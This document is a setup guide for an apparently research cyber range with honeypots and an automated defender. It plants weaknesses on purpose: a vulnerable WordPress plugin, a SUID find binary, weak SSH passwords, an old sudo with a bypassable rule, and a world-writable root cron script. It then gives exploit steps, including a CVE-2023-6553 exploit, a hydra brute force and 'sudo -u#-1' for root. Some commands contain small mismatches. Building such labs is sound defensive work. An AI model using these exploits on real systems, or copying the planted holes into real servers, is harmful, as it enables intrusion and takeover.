# Refer to This Document in Addition to the previous Network Set-up documentation for set-up instructions

# Setting up Public Servers:

1. EC2 Instance with Ubuntu 22.04 and assigned Public IP
2. Make sure Port 17737 is open for Custom TCP from any IP (can edit this in Security Group of EC2)
3. Wordpress Install: <https://ubuntu.com/tutorials/install-and-configure-wordpress#4-configure-apache-for-wordpress>

Wordpress.config file:

<VirtualHost \*:80>

ServerAdmin webmaster@localhost

DocumentRoot /var/www/html/wordpress

ServerName <server IP>

ServerAlias www.<server IP>

DocumentRoot /srv/www/wordpress

<Directory /srv/www/wordpress>

Options FollowSymLinks

AllowOverride All

DirectoryIndex index.php

Require all granted

</Directory>

<Directory /srv/www/wordpress/wp-content>

Options FollowSymLinks

Require all granted

</Directory>

<Directory /srv/www/wordpress/wp-content/plugins>

Options FollowSymLinks Indexes

Require all granted

</Directory>

<Directory /srv/www/wordpress/wp-content/plugins/backup-backup>

Options FollowSymLinks Indexes

Require all granted

</Directory>

<Directory /srv/www/wordpress/wp-content/plugins/backup-backup/includes>

Options FollowSymLinks Indexes

Require all granted

</Directory>

</VirtualHost>



1. Install Plug-in: <https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip>

**Foothold Exploit**

1. In local machine, Git Clone Exploit: <https://github.com/Chocapikk/CVE-2023-6553>
2. activate virtual env (steps in Additional Configuration), run pip install -r requirements.txt
3. Run Exploit.py with intended URL

**Privilege Escalation Exploit**

1. To Set-up, run:
   1. sudo chmod u+s /usr/bin/find
2. To exploit:

# 

# Setting up Web & PCs:

1. Create EC2 instances with its own subnet, unreachable from public subnet
2. Create SSH login by allowing port 22 to be open to any IP

**SSH Exploit**:

1. To set up, Run:
   1. sudo adduser user
   2. sudo systemctl restart sshd

2. To exploit:

* 1. printf "root\nadmin\nuser\n" > users.txt
  2. printf "root\npassword\npass\n" > passwords.txt
  3. hydra -L users.txt -P passwords.txt ssh://[TARGET IP] # gives login credentials
  4. ssh [USERNAME]@[TARGET IP]

**Privilege Escalation:**

1. To set up, Run:
   1. sudo su -
   2. export SUDO\_FORCE\_REMOVE=yes
   3. apt remove sudo
   4. wget https://github.com/sudo-project/sudo/releases/download/SUDO\_1\_8\_27/sudo\_1.8.27-1\_ubu1804\_amd64.deb
   5. dpkg -i [sudo\_1.8.27-1\_ubu1804\_amd64.deb](https://github.com/sudo-project/sudo/releases/download/SUDO_1_8_31/sudo_1.8.31-1_ubu1804_amd64.deb)
   6. echo 'user ALL=(ALL,!root) /bin/bash' >> /etc/sudoers
2. To exploit:
   1. sudo -u#-1 /bin/bash

# Setting up DB:

Details of Instance:

**Crontab Exploit:**

1. To set up, Run:
   1. sudo su -
   2. echo "cp /var/backup.sh /root/backup.sh" > /var/backup.sh
   3. chmod 777 /var/backup.sh
   4. crontab -e # add this line: \* \* \* \* \* /bin/bash /var/backup.sh

# 

# Setting up NTP:

<https://vitux.com/how-to-install-ntp-server-and-client-on-ubuntu/>

# Configuration of All Machines:

These steps are meant to be run for every EC2 instance in the network, except the Controller instance

**Set-up Virtual Environment and install dependencies :**

1. Run:
   1. python3 -m venv daedalus\_network
   2. source daedalus\_network/bin/activate
   3. sudo nano ~/.bashrc
   4. [add “source cowrie-env/bin/activate” to last line]
   5. [Ctrl+X, Y, and Enter to save]
   6. pip install grpcio protobuf inotify

**Set-up User:**

1. Run:
   1. sudo su root
   2. addusuer user
      1. make password: “password”
   3. sudo apt update
   4. sudo apt install openssh-server
   5. sudo nano /etc/ssh/sshd\_config
      1. PasswordAuthentication yes
      2. KbdInteractiveAuthentication yes
   6. sudo systemctl restart ssh

**Set-up Cowrie:**

1. Run:
   1. sudo apt-get install git libssl-dev libffi-dev build-essential libpython3-dev python3-minimal authbind virtualenv
   2. sudo su user
   3. cd ~
   4. git clone <http://github.com/cowrie/cowrie>
   5. cd cowrie
   6. sed -i 's/2222/22/g' etc/cowrie.cfg.dist
   7. echo "user:x:password" > etc/userdb.txt
   8. python3 -m pip install --upgrade pip
   9. python3 -m pip install --upgrade -r requirements.txt
      1. If permission errors, try “sudo chown -R user:user /home/user” this gives permissions to user to install packages

**Create “Real” and “Fake” Data, for File Watching:**

1. sudo su root
2. sudo touch /root/important\_data.txt
3. sudo chmod 600 /root/important\_data.txt
4. echo "Important data goes here." | sudo tee /root/important\_data.txt
5. sudo touch /root/valuable\_data.txt
6. sudo chmod 600 /root/valuable\_data.txt
7. echo "This is fake data." | sudo tee /root/valuable\_data.txt

# Setting up Defender:

1. Create EC2 Instance that has no inbound traffic and allows all outbound traffic
2. Clone <https://github.com/ronydahdal/daedalus_network.git> onto every EC2 instance
3. To set up gRPC client in order for defender to take actions, run on every machine except controller instance:
   1. cd 2024REUSE/daedalus\_network/c2 && sudo python3 c2\_server.py
      1. If errors of packages come up, pip install them, which might require a few work-arounds.
      2. One workaround is that you need to install pip packages as:
         1. sudo apt install python3-pip
         2. sudo pip3 install numpy protobuf inotify grpcio
4. Start automatic attacker:

**Setting up MBPO Defender:**

# Optional (but helpful) VSCode SSH AWS

1. Install Remote - SSH extension
2. Go to Configuration file and add EC2 instance and key (key made from when instance was launched)
3. Host aws-ec2
4. HostName ec2-18-117-172-172.us-east-2.compute.amazonaws.com
5. User ubuntu
6. IdentityFile ~/Downloads/public.pem
7. Connect to this host using VSCode’s Extension